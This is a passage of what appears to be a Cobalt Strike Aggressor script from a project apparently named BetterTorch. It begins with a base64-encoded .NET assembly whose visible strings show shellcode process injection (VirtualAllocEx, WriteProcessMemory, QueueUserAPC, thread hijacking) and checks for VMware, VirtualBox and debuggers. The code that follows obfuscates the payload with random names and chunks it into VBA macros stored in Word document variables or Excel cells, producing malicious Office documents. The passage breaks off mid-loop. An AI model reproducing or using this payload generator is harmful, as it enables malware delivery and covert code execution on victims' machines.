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X0RFRkFVTFRfRVJST1JfTU9ERQBDUkVBVEVfTkVXX0NPTlNPTEUAU1VTUEVORF9SRVNVTUUATUVNX1JFTEVBU0UAVEVSTUlOQVRFAElNUEVSU09OQVRFAFBBR0VfUkVBRFdSSVRFAFBBR0VfRVhFQ1VURV9SRUFEV1JJVEUAUFJPQ0VTU19WTV9XUklURQBFWEVDVVRFAFJFU0VSVkUAWkVST19GTEFHAFdSSVRFX1dBVENIAGdldF9BU0NJSQBUSFJFQURfSElKQUNLAFBIWVNJQ0FMAENSRUFURV9QUkVTRVJWRV9DT0RFX0FVVEhaX0xFVkVMAFRIUkVBRF9BTEwAQ1JFQVRFX1NIQVJFRF9XT1dfVkRNAENSRUFURV9TRVBBUkFURV9XT1dfVkRNAFNFVF9USFJFQURfVE9LRU4AUFJPQ0VTU19JTkZPUk1BVElPTgBTRVRfSU5GT1JNQVRJT04AUFJPQ0VTU19RVUVSWV9JTkZPUk1BVElPTgBESVJFQ1RfSU1QRVJTT05BVElPTgBQUk9DRVNTX1ZNX09QRVJBVElPTgBUT1BfRE9XTgBTVEFSVFVQSU5GTwBHTwBTeXN0ZW0uSU8AQ1JFQVRFX05FV19QUk9DRVNTX0dST1VQAExBUkdFX1BBR0VTAE5PQUNDRVNTAERFVEFDSEVEX1BST0NFU1MAQ1JFQVRFX1BST1RFQ1RFRF9QUk9DRVNTAERFQlVHX1BST0NFU1MAREVCVUdfT05MWV9USElTX1BST0NFU1MAUkVTRVQATUVNX0RFQ09NTUlUAE1FTV9DT01NSVQAQ1JFQVRFX1VOSUNPREVfRU5WSVJPTk1FTlQARVhURU5ERURfU1RBUlRVUElORk9fUFJFU0VOVABHRVRfQ09OVEVYVABTRVRfQ09OVEVYVABDUkVBVEVfTk9fV0lORE9XAGR3WABSRUFET05MWQBFWEVDVVRFX1dSSVRFQ09QWQBJTkhFUklUX1BBUkVOVF9BRkZJTklUWQBkd1kAdmFsdWVfXwB2ZWxtYQBkd0RhdGEAU2V0UXVvdGEAY2IAbXNjb3JsaWIAeGIAaXNCYWRNYWMAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMAVmlydHVhbEFsbG9jAGdldF9JZABkd1RocmVhZElkAGR3UHJvY2Vzc0lkAHByb2Nlc3NJZABWaXJ0dWFsTWVtb3J5UmVhZABTdXNwZW5kVGhyZWFkAFJlc3VtZVRocmVhZABDcmVhdGVUaHJlYWQAaFRocmVhZABPcGVuVGhyZWFkAFByb2Nlc3NUaHJlYWQAQWRkAGlzRGVidWdnZWQAZ2V0X0lzQXR0YWNoZWQAaXNEb21haW5Kb2luZWQAbHBSZXNlcnZlZABUcmltRW5kAEFwcGVuZABtZXRob2QATmV0d29ya0ludGVyZmFjZQBSZXBsYWNlAFZpcnR1YWxGcmVlAEVuZEludm9rZQBCZWdpbkludm9rZQBJRGlzcG9zYWJsZQBSdW50aW1lVHlwZUhhbmRsZQBEdXBsaWNhdGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAYkluaGVyaXRIYW5kbGUARmlsZQBscFRpdGxlAGdldF9Eb21haW5OYW1lAGxwQXBwbGljYXRpb25OYW1lAEdldFByb2Nlc3Nlc0J5TmFtZQBkYXBobmUAbHBDb21tYW5kTGluZQBNeXN0ZXJ5TWFjaGluZQBkd0ZyZWVUeXBlAFZhbHVlVHlwZQBmbEFsbG9jYXRpb25UeXBlAFJlYWRPbmx5Q29sbGVjdGlvbkJhc2UAQ2hlY2tQbGVhc2UARGlzcG9zZQBFeGVjdXRlRGVsZWdhdGUATXVsdGljYXN0RGVsZWdhdGUAVGVybWluYXRlAFZpcnR1YWxNZW1vcnlXcml0ZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBkd0ZpbGxBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBVbm1hbmFnZWRGdW5jdGlvblBvaW50ZXJBdHRyaWJ1dGUARmxhZ3NBdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBkd1hTaXplAGR3WVNpemUAY2h1bmtTaXplAG5TaXplAGR3U2l6ZQBTeW5jaHJvbml6ZQBzaXplAEdVQVJEX01vZGlmaWVyZmxhZwBOT0NBQ0hFX01vZGlmaWVyZmxhZwBXUklURUNPTUJJTkVfTW9kaWZpZXJmbGFnAEVuY29kaW5nAENlaWxpbmcARnJvbUJhc2U2NFN0cmluZwBUb0Jhc2U2NFN0cmluZwBUb1N0cmluZwBTdWJzdHJpbmcAYXJnAE1hdGgAYmluYXJ5UGF0aABnZXRfTGVuZ3RoAGxlbmd0aABBc3luY0NhbGxiYWNrAGNhbGxiYWNrAGNoZWNrAE1hcnNoYWwARGVjaW1hbABBbGwAa2VybmVsMzIuZGxsAE15c3RlcnlNYWNoaW5lQXNzZW1ibHkuZGxsAFN5c3RlbQBSYW5kb20ARW51bQBscE51bWJlck9mQnl0ZXNXcml0dGVuAE1pbgBpc0RvbWFpbgBkb21haW4Ab3BfRGl2aXNpb24AUXVlcnlMaW1pdGVkSW5mb3JtYXRpb24AU3lzdGVtLk5ldC5OZXR3b3JrSW5mb3JtYXRpb24AbHBQcm9jZXNzSW5mb3JtYXRpb24AU2V0SW5mb3JtYXRpb24AUXVlcnlJbmZvcm1hdGlvbgBWaXJ0dWFsTWVtb3J5T3BlcmF0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAElDb2xsZWN0aW9uAFByb2Nlc3NUaHJlYWRDb2xsZWN0aW9uAE1lbW9yeVByb3RlY3Rpb24AQ2FsbGluZ0NvbnZlbnRpb24AU3RyaW5nQ29tcGFyaXNvbgBscFN0YXJ0dXBJbmZvAFplcm8AbHBEZXNrdG9wAENoYXIAbHBTdGFydEFkZHIAU3RyaW5nQnVpbGRlcgBscEJ1ZmZlcgBEZWJ1Z2dlcgBHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcgBUb0xvd2VyAGhTdGRFcnJvcgBJRW51bWVyYXRvcgBHZXRFbnVtZXJhdG9yAC5jdG9yAC5jY3RvcgBVSW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBnZXRfVGhyZWFkcwBHZXRBbGxOZXR3b3JrSW50ZXJmYWNlcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBHZXRJUEdsb2JhbFByb3BlcnRpZXMAYkluaGVyaXRIYW5kbGVzAGxwVGhyZWFkQXR0cmlidXRlcwBscFByb2Nlc3NBdHRyaWJ1dGVzAEdldEJ5dGVzAFByb2Nlc3NDcmVhdGlvbkZsYWdzAGR3Q3JlYXRpb25GbGFncwBQcm9jZXNzQWNjZXNzRmxhZ3MAZHdGbGFncwBFcXVhbHMAQ29udGFpbnMAU3lzdGVtLlRleHQuUmVndWxhckV4cHJlc3Npb25zAFN5c3RlbS5Db2xsZWN0aW9ucwBnZXRfQ2hhcnMAZHdYQ291bnRDaGFycwBkd1lDb3VudENoYXJzAFRocmVhZEFjY2VzcwBkd0Rlc2lyZWRBY2Nlc3MAcHJvY2Vzc0FjY2VzcwBDcmVhdGVQcm9jZXNzAGhQcm9jZXNzAE9wZW5Qcm9jZXNzAHByb2Nlc3MAbHBCYXNlQWRkcmVzcwBHZXRQaHlzaWNhbEFkZHJlc3MAbHBBZGRyZXNzAGNvbnRhaW5zU2FuZGJveEFydGlmYWN0cwBFeGlzdHMAT2JqZWN0AG9iamVjdABscGZsT2xkUHJvdGVjdABmbFByb3RlY3QAZmxOZXdQcm90ZWN0AG9wX0ltcGxpY2l0AG9wX0V4cGxpY2l0AENodW5rU3BsaXQAdG9TcGxpdABFeGl0AElBc3luY1Jlc3VsdAByZXN1bHQAbHBFbnZpcm9ubWVudABnZXRfQ3VycmVudABnZXRfQ291bnQAY291bnQAQ29udmVydABBcnJheUxpc3QAaFN0ZElucHV0AGlucHV0AGhTdGRPdXRwdXQATW92ZU5leHQAU3lzdGVtLlRleHQAd1Nob3dXaW5kb3cAVmlydHVhbEFsbG9jRXgAVmlydHVhbFByb3RlY3RFeABSZWdleABzY29vYnkAa2V5AE15c3RlcnlNYWNoaW5lQXNzZW1ibHkAQ29weQBzY3JhcHB5AFdyaXRlUHJvY2Vzc01lbW9yeQBscEN1cnJlbnREaXJlY3RvcnkAAAAAAAEAUUMAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAEQAcgBpAHYAZQByAHMAXABWAG0AbQBvAHUAcwBlAC4AcwB5AHMAAE9DADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXABEAHIAaQB2AGUAcgBzAFwAdgBtADMAZABnAGwALgBkAGwAbAAATUMAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAEQAcgBpAHYAZQByAHMAXAB2AG0AZAB1AG0ALgBkAGwAbAAAUUMAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAEQAcgBpAHYAZQByAHMAXAB2AG0AMwBkAHYAZQByAC4AZABsAGwAAE9DADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXABEAHIAaQB2AGUAcgBzAFwAdgBtAHQAcgBhAHkALgBkAGwAbAAAS0MAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAEQAcgBpAHYAZQByAHMAXAB2AG0AYwBpAC4AcwB5AHMAAFdDADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXABEAHIAaQB2AGUAcgBzAFwAdgBtAHUAcwBiAG0AbwB1AHMAZQAuAHMAeQBzAABTQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwARAByAGkAdgBlAHIAcwBcAHYAbQB4AF8AcwB2AGcAYQAuAHMAeQBzAABPQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwARAByAGkAdgBlAHIAcwBcAHYAbQB4AG4AZQB0AC4AcwB5AHMAAFlDADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXABEAHIAaQB2AGUAcgBzAFwAVgBNAFQAbwBvAGwAcwBIAG8AbwBrAC4AZABsAGwAAE9DADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXABEAHIAaQB2AGUAcgBzAFwAdgBtAGgAZwBmAHMALgBkAGwAbAAAV0MAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAEQAcgBpAHYAZQByAHMAXAB2AG0AbQBvAHUAcwBlAHYAZQByAC4AZABsAGwAAFdDADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXABEAHIAaQB2AGUAcgBzAFwAdgBtAEcAdQBlAHMAdABMAGkAYgAuAGQAbABsAABfQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwARAByAGkAdgBlAHIAcwBcAFYAbQBHAHUAZQBzAHQATABpAGIASgBhAHYAYQAuAGQAbABsAABPQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwARAByAGkAdgBlAHIAcwBcAHYAbQBzAGMAcwBpAC4AcwB5AHMAAFVDADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXABEAHIAaQB2AGUAcgBzAFwAVgBCAG8AeABNAG8AdQBzAGUALgBzAHkAcwAAVUMAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAEQAcgBpAHYAZQByAHMAXABWAEIAbwB4AEcAdQBlAHMAdAAuAHMAeQBzAABPQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwARAByAGkAdgBlAHIAcwBcAFYAQgBvAHgAUwBGAC4AcwB5AHMAAFVDADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXABEAHIAaQB2AGUAcgBzAFwAVgBCAG8AeABWAGkAZABlAG8ALgBzAHkAcwAAQ0MAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAHYAYgBvAHgAZABpAHMAcAAuAGQAbABsAABDQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwAdgBiAG8AeABoAG8AbwBrAC4AZABsAGwAAEVDADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXAB2AGIAbwB4AG0AcgB4AG4AcAAuAGQAbABsAABBQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwAdgBiAG8AeABvAGcAbAAuAGQAbABsAABRQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwAdgBiAG8AeABvAGcAbABhAHIAcgBhAHkAcwBwAHUALgBkAGwAbAAATUMAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAHYAYgBvAHgAbwBnAGwAYwByAHUAdABpAGwALgBkAGwAbAAAUUMAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAHYAYgBvAHgAbwBnAGwAZQByAHIAbwByAHMAcAB1AC4AZABsAGwAAFdDADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXAB2AGIAbwB4AG8AZwBsAGYAZQBlAGQAYgBhAGMAawBzAHAAdQAuAGQAbABsAABPQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwAdgBiAG8AeABvAGcAbABwAGEAYwBrAHMAcAB1AC4AZABsAGwAAF1DADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXAB2AGIAbwB4AG8AZwBsAHAAYQBzAHMAdABoAHIAbwB1AGcAaABzAHAAdQAuAGQAbABsAABJQwA6AFwAdwBpAG4AZABvAHcAcwBcAFMAeQBzAG4AYQB0AGkAdgBlAFwAdgBiAG8AeABzAGUAcgB2AGkAYwBlAC4AZQB4AGUAAENDADoAXAB3AGkAbgBkAG8AdwBzAFwAUwB5AHMAbgBhAHQAaQB2AGUAXAB2AGIAbwB4AHQAcgBhAHkALgBlAHgAZQAASUMAOgBcAHcAaQBuAGQAbwB3AHMAXABTAHkAcwBuAGEAdABpAHYAZQBcAFYAQgBvAHgAQwBvAG4AdAByAG8AbAAuAGUAeABlAAANMAAwADAAQwAyADkAAA0wADAAMQBDADEANAAADTAAMAA1ADAANQA2AAANMAAwADAANQA2ADkAAA0wADgAMAAwADIANwAACS4AewAyAH0AAAckADAAOgAAfUEAQgBDAEQARQBGAEcASABJAEoASwBMAE0ATgBPAFAAUQBSAFMAVABVAFYAVwBYAFkAWgBhAGIAYwBkAGUAZgBnAGgAaQBqAGsAbABtAG4AbwBwAHEAcgBzAHQAdQB2AHcAeAB5AHoAMAAxADIAMwA0ADUANgA3ADgAOQAAAOVOJtNuPHtFp1yU1gfPuTIABCABAQgDIAABBSABARERBCABAQIEIAEBDgUgAQERUQQAABJpAyAADgcAAwIODhFxCwcEFRIlAQ4dDggOBRUSJQEOBAABAg4FIAEBEwADIAAIEwcIFRIlAQ4dDh0SKQgSKR0OCA4F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";
}
# Now it's base64 encoded
$decode = random_string(5);
$binhex = random_string(5);
$xmldom = random_string(5);
$classname = random_string(5);
$memstream = random_string(5);
$arraylist = random_string(5);
$binformat = random_string(5);
$binary = random_string(5);
$code = random_string(5);
$sheet = random_string(5);
$actctx = random_string(5);
$dictstr = $binhex . "|bin.base64," . $xmldom . "|Microsoft.XMLDOM," . $classname . "|MysteryMachine," . $memstream . "|System.IO.MemoryStream," . $arraylist . "|System.Collections.ArrayList," . $binformat . "|System.Runtime.Serialization.Formatters.Binary.BinaryFormatter," . $binary . "|" . %options["binary"] . "," . $actctx . "|Microsoft.Windows.ActCtx";
$data = "";
# They want VBA Macros
# We need to take the base64 stream and chunk it up into format:
# code = code & \"chunk\"\
$word = 0;
if(%options["type"] eq "Word"){
$word = 1;
}
$insert = "";
$i = 1;
@chunks = split("(?<=\\G.{32000})", $b64payload);
@doca = @();
foreach $var (@chunks){
@morechunks = split("(?<=\\G.{100})", $var);
$insert = $insert . " " . $code . " = \"\"\r\n";
$docv = random_string(6);
push(@doca,$docv);
foreach $v (@morechunks){
$insert = $insert . " " . $code . " = " . $code . " & \"" . $v . "\"\r\n";
}
if($word){
$insert = $insert . " ActiveDocument.Variables.Add Name:=\"" . $docv . "\" , Value:=" . $code . "\r\n";
$insert = $insert . "\r\n\r\n\r\n";
}else{
$insert = $insert . " ws.Cells(" . $i . ",1).Value = " . $code . "\r\n";
$insert = $insert . "\r\n\r\n\r\n";
$i++;
}
}
$insert = $insert . " so = \"\"\r\n";
@chunks = split("(?<=\\G.{32000})", $hexdata);
foreach $v (@chunks){
@lines = split("(?<=\\G.{100})", $v);
